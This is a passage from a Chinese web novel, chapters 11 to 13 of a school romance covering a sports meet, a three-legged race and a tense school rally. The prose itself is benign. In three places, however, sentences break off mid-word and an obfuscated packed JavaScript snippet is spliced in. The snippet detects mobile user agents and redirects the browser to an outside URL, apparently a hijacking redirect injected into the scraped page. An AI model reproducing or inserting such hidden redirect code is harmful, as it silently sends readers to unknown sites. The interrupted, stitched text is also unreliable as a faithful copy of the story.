宋恪正好有个数学题不懂,站在汤慈桌旁一边吃梨,一边让汤慈给他讲解。 汤慈给他列出步骤,然后才详细讲解题中包含的知识点。 由于她口中嚼着梨,说话声音含混,宋恪凑近了去听,并小声和她讨论。 一道题讲完,两人也顺便把梨吃了。 宋恪走后,汤慈才发现盛毓不知道什么时候已经回来,和周弋阳站在门外站着,任由夜风涌动着鼓起他的衬衫。 干净的皂香和轻微的烟草气息杂糅在一起,轻飘飘从后门飘了进来。 汤慈放慢呼吸,抽了张纸巾将手指和唇边的梨汁擦掉。 上课前盛毓回到座位,指节敲了敲装着牛奶的玻璃瓶,淡声问:“你不喝?” 汤慈木楞两秒,才恍然道:“这是给我买的啊。” 盛毓抬眉,“非得放你手里才知道?” 11. 第 11 章 一中的秋季运动会办得气势雄伟,舞台两侧展示屏幕播放着历届运动会的高光时刻,昂扬嘹亮的运动员响彻清晨的操场。 教学楼内热闹非凡,各班学生都统一服装,按序下楼。 高三一班统一穿定制的白色运动服,在草坪列好方队后,格外整洁美观,同时也衬得穿深蓝礼服的郑姝瑶漂亮到耀眼。 郑姝瑶一直负责一班运动会的举牌任务,相当于是班级的门面,在主席台下化完妆才姗姗来迟。 她踩着高跟鞋走在草坪,即使被同学搀扶着,走到班级末尾时,脚腕还是不小心扭了一下。 后排站着的几个男生,热切地伸出手臂献殷勤。 郑姝瑶摆摆手说自己没事,她站稳后,目光移到靠在铁丝网闲散玩手机小游戏的盛毓。 她轻咳了一声,问:“盛毓,你能帮我拿一瓶水吗?我不方便弯腰。” 郑姝瑶话音刚落地,四周的男生就促狭地笑了起来。 哄闹声中,盛毓不为所动,指尖点击屏幕上的砖块,头也没抬地吩咐带头起哄的周弋阳,“你给她拿一下。” 周弋阳挑眉,“人家指名道姓要你来,我凑什么热闹。” 郑姝瑶又朝盛毓走近了一些,脸颊微红,撒娇一般又问了一声:“可以吗?” 江蝉戳戳汤慈手中的单词本,“你快看后面,郑姝瑶又在和盛毓搭话。” 汤慈指尖拨了拨纸页,犹豫了几秒才回头看。 即使隔着人群,盛毓也分外耀眼,他垂着浓密的睫毛,锋利的侧脸在日光的笼罩下变得柔和。 郑姝瑶眨着卷翘的睫毛羞红了双颊,伸手从他手中拿过一瓶矿泉水。 暧昧旖旎的起哄声此起彼伏,江蝉也跟着感叹了一声,“要说外表,郑姝瑶和盛毓还挺配的。” 和江蝉同感的人很多,都小声嘀咕地谈论着人群中心的两人。 汤慈转过头,抿着唇含混地“唔”了一声。 看起来好像对这个话题不感兴趣。 江蝉就没继续讨论,和她说起了其他事情。 聊到未来想考什么大学,江蝉连问两遍,汤慈都没有反应。 江蝉凑近看,发现她手中的笔记本一直都没有翻页。 汤慈神色落寞,垂眸看着草坪发愣。 “不舒服吗?”江蝉担忧地问她。 汤慈回过神,摇摇头说:“昨晚复习睡太晚了。” 老许忙完来到一半的方队,开幕式即将开始,她拍了拍手,示意大家在自己位置上站好。 待老许从队列后方走过,盛毓抬脚轻踹了周弋阳一脚,“多管闲事。” 周弋阳哼笑,他刚刚看盛毓一直端着,郑姝瑶眼泪快落下来,于心不忍弯腰从补给箱里那个瓶水塞到盛毓手中。 又顺水推舟让郑姝瑶自己从盛毓手中拿。 他这个月当得尽职尽责,盛毓却全然不领情。 周弋阳拍了拍他的肩膀,凑到他耳边压低嗓音d?huo:“毓哥,我问个不合时宜的问题啊,你从小到大都对女生没兴趣,你不会是性冷——” 盛毓冷然扫了他一眼,“爪子给我拿下去。” 周弋阳从他肩膀上移开手,被他充满压迫感地目光看得头皮发麻,他摆着手说:“开个玩笑,所以你到底喜欢什么样的姑娘啊?” 盛毓似是烦躁地捏了捏眉心,“没想过。” 周弋阳还想说什么,队伍开始入场。 盛毓率先迈开步子,周弋阳看到他迎着初升太阳的瞳孔一闪而过。 浓墨般幽深,不带一丝情感。 周弋阳想,盛毓这块冰川,凡间的姑娘怕是没有能力暖热。 / 两人三足的项目在运动会第二日,今日除了运动会结束后和盛毓练习,汤慈再没有别的事要忙。 老许在班会上说过,让大家团结一心,有空余时间同学可以一起给参与项目的同学加油助威。 汤慈虽然和班里同学关系不算亲密,但是江蝉兴致勃勃地拉着她去加油,她也没有拒绝。 看完接力赛,江蝉凑数报的铅球就快检录。 两人来到铅球比赛的场地,目光被跑道两侧密密匝匝的人群吸引。 跑道内男生三千米长跑即将开赛。 围观人潮女生居多,喊得几乎都是盛毓的名字。 江蝉拉着汤慈的手上前,“咱们也去给盛毓加加油。” 汤慈看着密不透风的人墙,拖住江蝉的手对她说:“你去看,我去给你买水,等会儿比完赛就能喝。” “好的!谢谢小慈。”江蝉亲昵地抱了她一下,就松手挤进了人堆里。 小卖部买一赠一的矿泉水活动仍在继续,汤慈下意识拿了两瓶,等结账时才想到,江蝉不一定会喝这么便宜的水。 想了想,她又从冰柜里拿了一瓶原价的矿泉水结账。 汤慈到铅球比赛场外时,江蝉正用尽全身力气投掷铅球,但结果并不理想。 几轮比赛下来,江蝉勉强拿到一个倒数第三的成绩。 看着前三名领奖时,江蝉气喘吁吁地坐在草坪上平复心率,汤慈把那瓶原价的矿泉水拧开递给她。 江蝉一口气喝下去半瓶,才感觉活了过来,站起身和汤慈慢慢朝食堂的方向走。 男生三千米也结束了比赛,盛毓站在正中间的领奖台上喝水,汗水随着他滚动的喉结打湿T恤的前襟,勾勒出他匀称流畅的肌肉线条。 台下的女生们红了脸,各自手中拿着不同的饮料,跃跃欲试想朝盛毓递过去。 盛毓忽略她们的目光,扬手把空瓶子朝跑道外的垃圾桶掷了过去。 哐啷一声清响,汤慈和江蝉都吓了一跳,本能地朝瓶子来的方向看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942246|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 对上盛毓即将收回的视线。 秋季正午的日光也毒辣,盛毓眯起眼睛,看到汤慈怀里抱着两瓶水,愣愣看着他。 第二名的男生看到不远处的汤慈,笑着对盛毓说:“那不是年纪第一的学霸嘛,也来给盛少爷送水啊。” 汤慈耳尖轰然发烫,拿水的手朝身后藏了藏,脚步加快离开了操场。 盛毓看着她一副避之不及的模样,扯起唇角,哂笑了一声。 / 下午赛事偏多,汤慈被宋恪叫走帮忙写演讲稿,坐下就忙碌了一下午。 临近结束时,汤慈才闲下来,掏出手机一看,盛毓半个小时前给她发了条消息。 【盛毓:到南区练习】 汤慈慌忙从座位上起身,边下楼梯边给他回消息。 【汤慈:抱歉我刚看到,现在过去可以吗?】 【盛毓:一分钟。】 汤慈攥紧手机,拎着装水的塑料袋,快速地朝操场南区跑。 她远远看到南区有不少学生在练习明天的项目,盛毓独自靠墙站着,生人勿近的气势很重。 汤慈在离他一米的位置停下了脚步,开口第一句还是,“不好意思。” 盛毓掀起眼皮,“你只会口头道歉?” 汤慈愣了愣,手中的塑料袋和运动裤摩挲发出声响。 袋子里的两瓶矿泉水,一瓶见底,一瓶还未打开。 她蜷起指尖问:“你要喝什么吗?我现在去买。” “你不是有?”盛毓说着,朝她勾了一下手指。 汤慈只好把那瓶没开封的矿泉水递给了他,还小声提醒,“可能不太好喝。” 盛毓没说话,抬手接过时,指尖蹭到了她的虎口。 汤慈呼吸一滞,感到虎口处隐隐约约有些麻。 盛毓喝了口水,就拿起飘带说,“来吧。” 汤慈低声“噢”了一句,僵硬地蹭到他身侧,主动拿过飘带,在两人并起来的腿上打上了结。 指尖自始至终没有碰到盛毓的裤子。 系好飘带,活动了一下脚腕,汤慈说:“我们走吧。” 感觉到盛毓抬腿的下一秒,汤慈快速跟上。 但由于两人身高差距过大,汤慈飘带系得过松。 盛毓放下脚的瞬间,就看到汤慈朝后栽倒的残影。 汤慈扑通陷进叠放在地上的软垫,她挣扎地抬了抬手臂,却没能找到着力点。 盛毓低眸,看到她运动服下摆翻到上面,纤细柔韧的腰露了出来,在墨绿色的垫子上白得晃眼。 汤慈下意识叫了一声,“盛毓。” 叫完后又立刻后悔,她双颊通红,手忙脚乱寻找新的着力点。 慌忙间,眼前的光影被遮挡大半。 汤慈感到一只干燥而宽大的手,握住了她的掌心。 12. 第 12 章 意识到握住她的是盛毓,汤慈的心口紧缩了一下,才回握住他。 盛毓稍一用力就将她从软垫内拉了起来。 看她站稳,盛毓松开了她的手,顺便抽走了两人腿间松散开来的飘带。 汤慈看着他骨节分明的手指将暗红的飘带抻平,她双手背在身后,悄悄蹭了蹭,将掌心残留的触感抹除。 盛毓两手拽着丝带的两端,朝她勾了勾指尖。 “过来。” “噢。” 汤慈走到他身侧,身体保持着一定的距离,只有小腿和他的贴在一起。 盛毓垂眼,快速在两人腿间打了一个很紧的结。 即使隔着两层裤子,汤慈仍然能感受到他皮肤上的温度。 她细细吐气,故作放松地朝四周张望了一圈。 离她不远的同学也在练习两人三足,他们除了腿绑着,手臂也互相攀扶着,以一个紧密无间的姿势笑着练习。 “走么?”盛毓的冷淡的声音自头顶响起。 汤慈立刻收回视线,“走。” 她学着旁边同学的做法,口中小声喊着“一二”的口号,稳住了抬脚时的节奏。 可即便是这样,汤慈还是跟不上盛毓的步伐,每一步都走得磕磕绊绊。 汤慈心里越着急,身体就越慌张,慌忙间直接踩上了盛毓的鞋尖。 如踩到针一般,她立刻抬脚,看到他雪白板鞋上清晰的脚印后,本能地蜷缩起了指尖。 她讷讷抬眸,“我不是故意的。” 看着她这幅小心谨慎的样子,盛毓低嗤一声,“搂着我。” 心口骤然发紧,汤慈舔了一下嘴唇,用商量的语气问:“……要不我抓着你的袖子吧。” 盛毓挑眉,“再踩我你明天自己去比赛。” 汤慈立刻伸出手臂抱住了他的腰,但没敢贴紧,指尖抓着他外套的下摆。 再练习时,汤慈的步伐明显稳了下来。 待完整走完五百米赛程,汤慈唇角提了起来,但并没有放松精神。 她轻拽了盛毓的外套下摆,认真道:“我们再练几趟吧。” 盛毓低眼“嗯”了一声,由于离得近,他第一次注意到她鼻梁上挂着的眼镜。 镜框是笨重又古板的黑色板材,镜片平光。 由于她出了薄汗,镜框朝鼻梁下方下滑了一截,又被微翘的鼻尖撑托住。 汤慈常年被遮挡的眼睛露了出来,睫毛疏且长,根根分明翘在清润透亮的瞳孔之上。 像他小时候去藏区旅游,见到过的初生的羊。 汤慈微垂着脖颈,掏出手机点开了计时器,按下秒表的瞬间,再次提起了脚步,指尖也熟练地一推黑色镜框,将眼睛再次遮了起来。 连续练了几圈,汤慈看着秒表上的数字逐渐减少,嗓音染上笑意:“明天我们应该不会拿倒数了。” 盛毓:“你很在乎名次?” 汤慈点点头,抬眼认真道:“既然参与了,那就争取拿个好成绩。” 盛毓目光从她镜框上移开,指尖捋着额间的碎发,“今天就到这儿?” 汤慈说:“好。” 休憩的片刻,两人还保持着紧贴在一起的姿势,操场外路过成群结队的女生,目光炯炯朝他们打量过来。 意识到她们在看自己,汤慈马上松开攥着盛毓衣摆的指尖,身体也随之朝外移了移。 盛毓眉心抬起,像是也不想被人看到和她在一起,躬身拆了飘带,迈着散漫的步子到观众席拿水喝。 汤慈晚了几步才走过去,弯腰拿上自己的矿泉水,走到离盛毓几米远的栏杆处才停下脚步,完全避免了被人八卦的空间。 晚霞渐渐布满整片天空,操场上的路灯盏盏亮起,将他们的影子在地面上拉长,然后交汇。 汤慈小口喝着水,讷讷看着她和盛毓影子的交汇处,在心里犹豫了好一会儿,才掏出手机,假装认真看手机上的内容,实际上打开摄像头飞快地按下了拍摄键。 旧手机像素低,加上她因紧张而手抖,照片拍得模糊。 汤慈心口砰砰直跳,没来得及细看,飞快地把手机塞回了裤子口袋。 她跟在盛毓身后出操场时,远远看到周弋阳打头的一群男生在操场外等待。 汤慈垂着头刻意放慢了脚步,但还是被眼尖的周弋阳看到。 周弋阳朝她扬了下手臂,“汤慈,一起去吃饭吗?” 他们一行人里除了经常一起玩的男生,还有几个女生,听到周弋阳的话,也笑着邀请汤慈一起。 汤慈不习惯和一群人一起吃饭,加上她刚刚做了坏事,正心虚。 于是她微垂着眼睛,快速对周弋阳说:“你们去吧,我和人约好去食堂了。” 汤慈不等他反应,特意避开盛毓出了操场。 周弋阳眯起眼睛问盛毓,“汤慈怎么那么怕你,你是不是欺负人家了?” 盛毓双手插兜,瞥了眼汤慈仓皇的身影,懒声道:“做贼心虚。” / 汤慈去食堂吃完晚饭,又去了台球厅兼职,忙到深夜才回家,洗完澡躺回床上时,时间已经接近零点。 她困倦地打着哈欠,从枕头下摸出手机定好闹钟,准备锁屏时,忽然想到什么,指尖顿了顿,点开了相册。 待她看清傍晚偷拍的那张照片时,眼睛立刻睁大,困意也登时烟消云散。 模糊的画面中,除了她和盛毓交错在一起的影子,盛毓本人也入了镜。 路灯为他的眼睛赋予了星光,他深邃眉眼似笑非笑,正透过镜头看向她。 汤慈咬紧了下唇,耳根通红地将手机锁屏塞回枕头下面,把脸埋进被子里,过了好久乱跳的心脏才恢复平静。 翌日,汤慈踩着点在操场集合。 江蝉看到她眼下淡淡的青色,讶然:“你昨天熬夜了?” 汤慈挠了下耳廓,“……晚上做题忘了看时间。” 江蝉揪起眉心,表情严肃,“我记得你说过你不能熬夜。” “昨天是意外。”汤慈挽住她的胳膊,“以后不会了。” 江蝉仍小声唠叨,“什么题让你这么拼命……” 汤慈余光看到班级队伍末端走来的身影,慌张地站正,含混地说,“就……一道大题。” 两人三足比赛在上午,检录后,汤慈和盛毓站在准备区,排队比赛。 参加这项比赛的男女生人数相当,有不少是情侣,他们前面就站了一对儿,从检录开始就一直贴在一起说悄悄话。 反观汤慈和盛毓像两个陌生人,始终隔着不远不近的距离。 场外有专门来看盛毓比赛的女生,来之前都在猜测盛毓是不是因为喜欢才和女生合作比赛。 待见到汤慈后,她们的疑惑都消了大半。 先不说汤慈并不起眼,光凭盛毓冷然疏离的状态,就不像是喜欢,勉强算得上是不熟的同学。 汤慈听到女生们的嘀咕声,面上也无特殊反应,只一味微垂着脑袋等待老师指挥。 前有被偷看被抓包,现有偷拍被发现。 汤慈已经不敢想盛毓会如何看她,估计会当她是个变态吧。 她正兀自沮丧,老师过来告诉他们马上准备上场。 汤慈去接老师手中的飘带,却被盛毓先拿到。 他仍旧在两人的腿上打了一个很紧的结,直起身的时候,他抬起手臂,冲汤慈抬了抬眉。 汤慈领会到他的意思,小心翼翼环住了他的腰,胳膊仍然没有贴紧。 抓住他冲锋衣下摆的时候,汤慈感觉到肩膀一重,侧目一看,盛毓的手搭在了她的肩膀。 汤慈呼吸一顿,没忍住侧目瞧了一眼盛毓,看着近在眼前的锋利下颌线,她耳尖渐渐染了粉。 盛毓说话时凸起的喉结上下滚动,因为离得近,他清冽磁性的嗓音清晰传入汤慈的耳朵。 “不舒服?” 汤慈赧然垂眼,抬手蹭了一下鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958623|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖瓮声道:“想到比赛有点紧张。” 盛毓看着她轻颤的睫毛,附身凑到她耳边哑声问:“比偷拍我的时候还紧张?” 呼吸一停,汤慈快速地眨着眼睛,试图找个理由搪塞。 肩膀倏尔一紧,盛毓半搂半推地将她推入比赛场地,嗓音恢复如常,“上场了,专心点。” 汤慈忙不迭点头,“我,我会的。” 她嘴上信誓旦旦保证,却没敢抬起红透的脸。 即使是趣味性质的比赛,哨声响起后,参与比赛的同学都燃起了十二分的斗志。 看着周围气势昂扬的对手,汤慈将其他事都先抛诸脑后,全神贯注在比赛中。 经过昨天的练习,她和盛毓的动作已经能够熟练配合,随着他们逐渐平稳的步伐,他们不知不觉来到第二名的位置。 和第一名只差两米的距离。 心底悄然滋生一股胜负欲,汤慈无意识抱紧了盛毓的腰,脚下的步子迈得大了一些。 盛毓笑了一声,“想赢吗?” 汤慈从紧张的比赛中抽离出来,捣头说:“想。” 镜框因她猛烈地动作,一下滑到鼻尖,她欲伸手去推,却再次被盛毓抢先。 微凉的指尖在她鼻梁停留一瞬,盛毓拿走了她的眼镜,随手塞进了外套口袋。 “那就专心点。” 语言系统凝滞一秒,汤慈搓了搓不知道是因为运动还是因为盛毓的触碰,从而高热不断的脸颊,细声说:“好。” 失去了熟悉的眼镜,汤慈一开始颇为局促,但听着盛毓平稳的心跳,她逐渐定下心来,很快适应了没有遮挡的视线。 踏在塑胶跑道上的脚步引起身体共振,汤慈逐渐分不清自己和盛毓的心跳声,他们鼻腔呼出的热气混杂在一起,蒸腾着朝她扑面而来。 临近终点时,汤慈无意识屏住呼吸,直到身体挨上红绳的瞬间,她才卸下浑身的力气,长呼一口气。 他们是这个比赛的最后一组,老师快速统计着所有小组的成绩,参赛的同学都站在准备区等待结果。 汤慈还未从激烈的运动中平复,胸脯上下跌动着,被周围同学挤来挤去,像操场门口的充气拱门。 但她对此却全然无感,讷然站在原地不知道躲避。 盛毓拎起她的后衣领,带她站在铁丝网下,避免和人潮冲突。 汤慈视线先是朝操场外看了看,才抬眸快速看了他一眼:“谢谢。” 她说完后又快速垂头,指尖扒着铁丝网,一下一下扣着。 这些无意义的小动作莫名充满生命力,充气拱门就这么在盛毓眼前活了过来。 他眼底渐渐染上玩味意味。 老师很快算出成绩,笑着冲着汤慈和盛毓的方向说:“恭喜你们啊,拿了第一名。” 汤慈被突如其来的惊喜砸中,正愣在原地,四周同学已经推搡着她和盛毓一起站上了领奖台。 比完赛赶来的江蝉看到他们站在第一名的位置,扬起手臂欢呼,吸引来了附近观战的同学。 在众人喝彩声中,一男生重点却偏了,他饶有兴致地撞撞同行男生们的肩膀,“诶——你们觉不觉得,汤慈不戴眼镜还挺漂亮。” “我早就发现她好看了,就是那个眼镜太傻了,不戴眼镜更漂亮。” 男生们讨论的热火朝天,欣赏的目光频频投向台上的汤慈。 相比于男生们的热情,汤慈显得平静得多。 她安静站着,神色未有任何波动,伸着白皙的掌心在盛毓眼前摊开,“眼镜给我吧。” 盛毓从口袋里掏出眼镜,放到她手中时,没头没尾说了句:“确实。” 汤慈顿了顿,抬眸茫然问:“什么?” 盛毓双手插着兜,目光下视,漆黑眸子似是在观察猎物,一眨不眨看着她。 汤慈局促地抬手蹭了蹭脸颊,目光躲闪着又问了一次,“……什么啊?” 盛毓笑了,“不戴眼镜更漂亮。” 13. 第 13 章 领奖台下不知道什么时候围上来很多看盛毓的女生,看到他和汤慈亲昵的动作,瞬间炸开了锅。 “盛毓这是在干嘛?没见过他对哪个女生这么亲密过啊?” “这个女生也是一班的吗?怎么之前没见过?” “我在展示栏上见过她……好像是高三的年级第一汤慈。” “学霸啊,那跟盛毓这种校霸不搭吧?” “外表也不配啊,这女生看起来挺乖的,拿捏不住盛毓吧……” “感觉盛毓会找更漂亮些的女朋友,她肯定不是。” …… 汤慈听到议论的声音,垂着头神色平淡地戴上了眼镜,清了清嗓子对盛毓说;“谢谢。” 盛毓抬抬眉骨,站直身体,神色淡漠地从老师手中接过证书。 汤慈瞬间明白了,盛毓是故意在人群面前逗她,至于目的——应该是变相警告她,别再对他做出出格的行为。 领完奖,汤慈和江蝉一道去食堂吃饭。 江蝉边侧目看盛毓被簇拥着的身影,边问她:“盛毓刚刚跟你说什么呢?” 汤慈想了一下,说:“他说恭喜我得奖。” “这种趣味小比赛,他居然还挺认真。”江蝉忽然压低嗓音:“那他干嘛凑你这么近?不会是喜欢你吧?” 汤慈想也没想地摇头,“他怎么可能会喜欢我。” 听着她妄自菲薄的语气,江蝉揪起眉毛,“你是不是听到那些女生说的话了,不要听她们瞎说。” “我感觉她们说的挺对的啊。” 汤慈抬唇笑了一下,神色淡淡的,根本没有因为女生们的议论而感到不适。 江蝉无奈地挽住她的胳膊,“我就不该跟你讨论学习以外的问题,谈恋爱啥的对你来说超纲了。” 刚才的比赛汤慈拼尽了全力,领奖时一直提着一口气,现在松懈下来才觉得胸闷,小腹处也隐隐作痛。 她避开江蝉的目光揉了一下小腹,目光空茫地扫向树下堆积起来的落叶。 一小片叶子被风卷着滚落在她的脚边,毫无生机。 汤慈闷闷地想,不久后的她也将会是这样。 生命即将走到尽头的她,和盛毓确实是毫无般配之处。 / 秋分一过,教室窗外枝桠都染上了黄,风一吹枯叶落得满校园都是。 高三即将迎来模拟考,下午第三节课课间,班级里的同学一改往日喧闹,都老老实实坐在座位上复习刷题。 老许走进教室,拿尺子在黑板上敲了敲,“大家手上的学习先停一停,听我说。” 待学生们抬头,老许继续道:“今天晚上礼堂举办高三动员大会,我们班在B区6—12排,六点四十集合,大家都别迟到。” 宋恪带头应下,老许又强调一遍才离开教室。 由于时间紧迫,汤慈和江蝉放学直接去了食堂吃饭,在食堂碰到宋恪后,三人便坐一桌,吃完一起去礼堂。 她们到的早,找好位置坐下后,各班同学才陆陆续续进来。 盛毓周弋阳到的时候,放眼看去礼堂内已是乌泱泱一片脑袋。 两人都很高,肩宽腿长,基础的秋季校服穿在他们身上像高定,加上为首的盛毓神色疏淡,仿佛置身于秀场。 挨近门边坐着的女生纷纷朝他们投去目光。 只有老许皱紧眉头,压低嗓子喝道:“你俩加快速度,赶紧给我找位置坐下!” 盛毓不徐不疾地点点下颌,带着周弋阳几步走到一班区域的末尾处,姿态懒散地坐了下来。 老许看到他桀骜的作派就气不打一出来,快步走到他身侧,小声警告,“你今天的任务就是好好坐着,别惹事知道吗?” 盛毓手肘搭在膝盖,坐正,“放心,这么多领导在我肯定给您面子。” 老许眼睛闪过一丝迟疑,顿了顿才又说:“今天盛董也过来了,说给你打电话没打通。” 盛毓勾起的唇角压平,幽沉目光看向第一排的领导席,中间的位置坐着个气势威严的中年男人,校长正朝他敬茶。 他冷嗤一声,手中把玩着手机没说话。 老许看着盛毓浑身散发锋芒的样子,叹了口气,摇摇头离开。 本次高三动员大会,主要目标是激发学生的斗志,校领导依次发完言,年级主任上台,先是督促学生专注月底的全市模拟联考,然后就报名奖学金补习计划的同学进行了表扬。 年级主任的本意,是用垫底同学迷途知返的精神激励大家,但当他念到盛毓的名字后,台下瞬间哗然。 大家疑惑的重点倒不是盛毓重拾学业这件事,而是对他参加奖学金补习的行为感到震惊。 一时间,揣测的,猜疑的,不解的,各类讨论声充斥整个礼堂。 “盛毓又不缺钱,怎么会参加奖学金补习计划?!” “是不是因为汤慈?运动会的时候就看他俩不对劲了。” “他俩真在一起了?那可是盛毓欸——全校那么多女孩追都没追上。” “真的吧,要是没在一起,他能答应这种事?这点钱够盛少爷吃顿饭的吗……” …… 汤慈坐在靠进走廊的位置,周围人的目光大剌剌朝她投来,伴随着小声的嘀咕—— “她就是汤慈吧?” “是她,我那天亲眼看到盛毓贴着她的脸说话。” “啧啧啧,没想到学霸这么有手段。” 汤慈攥紧了中性笔,强迫自己不去听周围的噪音,抬眸时却和一道威严的目光撞上。 盛宏回头隔着人群精准看向汤慈,脸色庄重,不怒自威,目光中的轻蔑猜忌毫不掩饰。 汤慈平稳下来的心跳骤然失序,喉口紧缩着剥夺她的空气。 教导主任见状连忙清清喉咙,制止喧哗,“都安静!都安静!接下来有请一中的荣誉校董代表学生发言。” 即时刚刚发生的意外不过几秒,但喧闹声波及到盛毓,教导主任还是惊出一脑门薄汗,把话筒交给盛宏的时候颇有些心虚。 盛宏泰然自若拿过话筒,还放松地拍了拍教导主任的肩膀,他走到台上站定后,露出了采访中经常露出的微笑。 威严又不失亲和力。 盛宏不徐不疾开口,先讲了几句冠冕堂皇的鸡汤,随后扭转话锋,再度开口时警示意味明显。 “想必大家都知道,除却盛名集团总裁这个身份,我还是学生的家长,最后我就以这个身份斗胆说两句。” “你们这个年纪的孩子,最不缺的就是斗志,但我还是要提醒大家,除了斗志你们还需要有自知之明。” 盛宏说完这句话,目光沉沉投向汤慈。 “什么人就要做什么事。” “别忘了自己的身份,姓名。” 汤慈听出他言语中的讽刺和警告,仿佛被兜头浇了一盆冰水,放在桌下的双手紧紧绞紧,身体仍抑制不住颤抖。 呲啦—— 刺耳的声音划破快要结冰的空气。 汤慈回头,看到盛毓自黑压压的人群中站起身。 他气定神闲地迈下楼梯,在众目睽睽下走到了汤慈的桌边,直面台上的盛宏。 盛毓学着盛宏的模样未语先笑,对着领导席的校领导说:“作为此次大会受到表扬的学生,我说两句?” 疑问句被他说成祈使句。 不等面面相觑得校领导准许,他兀自开口:“管他什么姓名,什么身份。” 盛毓边说边轻敲了一下汤慈的桌面,“你想做什么样的人,都由你自己做主,其他人说的就是放屁!” 他没拿话筒,但礼堂内足够安静,他沉冷磁性的声音清晰地传进学生们的耳朵。 自大会开始,校领导们轮番的车轱辘话,早已让礼堂内的学生昏昏欲睡。 盛毓这几句话像是点燃了一串炮竹,火花噼里啪啦在年轻的灵魂间点燃,同学们互相交换视线,脸上都难掩兴奋之意。 周弋阳率先敲响桌板,扬声附和,“对——由我们自己做主。” 话音刚落,礼堂内爆发的欢呼声如海浪翻滚,学生们敲击桌板的声音奏成激昂的乐章。 汤慈在混乱中抬眸,看到盛毓浓密睫毛缓缓垂下,看到她的下一秒,他轻轻抬了抬眉尾。 看着他不可一世的模样,汤慈觉得浑身的神经末梢都在震颤,震动频率联动到心脏。 一下急过一下。 快要撞破她的胸腔。 / 动员大会结束,离放学还有一节晚自习,上课前,汤慈被江蝉拉着去小卖部买酸奶。 小卖部内有不少从礼堂过来的高三生,嘴里讨论的都是盛毓。 江蝉一手拿手机,一手拿酸奶,戳戳戴着口罩散下头发假装透明人的汤慈,“你说盛毓会有危险吗?我看群里说盛董发了好大的脾气,直接把盛毓带校长办公室了。” 想到上次在办公室见到盛宏朝盛毓挥拳的场景,汤慈揪起眉心,有些不知所措地摇了摇头。 轮到她们结账时,小卖部内已经不剩多少人。 江蝉把酸奶放到柜台结账,汤慈揪着衣服下摆,漫无目的地看面前的货柜。 一排排糖果映入眼帘,她下意识伸手拿了一盒水果硬糖。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973043|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 结完账才意识到她早就不吃糖了。 汤慈吃水果糖的习惯还要追溯到小学,那时候妈妈去世没多久。 看到汤建伟和秦玲坦然在妈妈的遗像前卿卿我我,她会咬着牙,将汤建伟的茶杯摔得粉碎。 事后总会迎来汤建伟的巴掌,汤慈疼得缩在卧室角落,从抽屉翻出妈妈给她买的铁盒装的水果硬糖。 吃下一颗,疼痛真的会消减。 一直到小学毕业,她查出红斑狼疮肾炎,从此再也没有碰过糖果。 她们回到教室的时候,最后一节课的铃声正好响起。 带班的老师有事,让宋恪坐在讲台看管纪律,宋恪朝两人摆摆手,示意她们快点回到座位。 盛毓的位置还空着。 汤慈坐下后,看着前座的周弋阳的后脑勺,犹豫了一秒,没有去问。 她拿出老师布置的卷子来做,顺便给盛毓列重难点。 一页纸写完,汤慈才听到后门处传来熟悉的脚步声。 门声轻响,班里大半的同学都转头去看。 周弋阳手肘撑着椅背,担忧地问:“毓哥,没事吧?” 盛毓嗓音依旧,平淡慵懒没什么情绪起伏,“能有什么事。” 听着他狂妄的口吻,一直没回头的汤慈提着的心放了下来,但还是没转头去看,只竖着耳朵,听盛毓坐下来的动静。 模拟考在即,即使班里同学对盛毓再好奇,骚动也只持续了片刻。 汤慈待四周动静全然消散,才悄然侧目,看了一眼盛毓。 相比于声音的散漫,盛毓的神情明显要严肃许多,原本就锋利的眉心凝着,手中无意识把弄着一个灰银色的打火机,指尖拨动砂轮的瞬间,青红火焰自他冷白指尖烧起。 火焰舔舐到虎口,他却没有痛感一般毫无知觉。 汤慈太阳穴突突直跳,想也没想抓住了他的手腕。 盛毓的指尖松开,打火机的火舌终于偃旗息鼓。 他目光不带温度,冷厉地睇了一眼汤慈。 “松开。” 汤慈眨了眨眼,缓慢地松开手,从桌斗里拿出那盒水果糖推到了他的桌面。 “盛毓,你吃糖吗?”她小声问。 他嗤声,“把我当小孩儿?” 汤慈打开铁盒的盖子,撕开铝箔纸包装,又朝他推了推。 “如果你想当的话。” 挑衅的话被她认真说出来,倒让盛毓不知如何作答,皱了皱眉把铁盒推开。 “别烦我。” 汤慈失落地把糖果盒重新盖上,愣了好一会儿,她想起这节自习老师布置的卷子,盛毓还只字未动。 而晚自习即将下课。 汤慈心一横,把试卷摊开放到盛毓桌面,硬着头皮真诚建议。 “你回家如果睡不着的话,可以把这套卷子做了。” 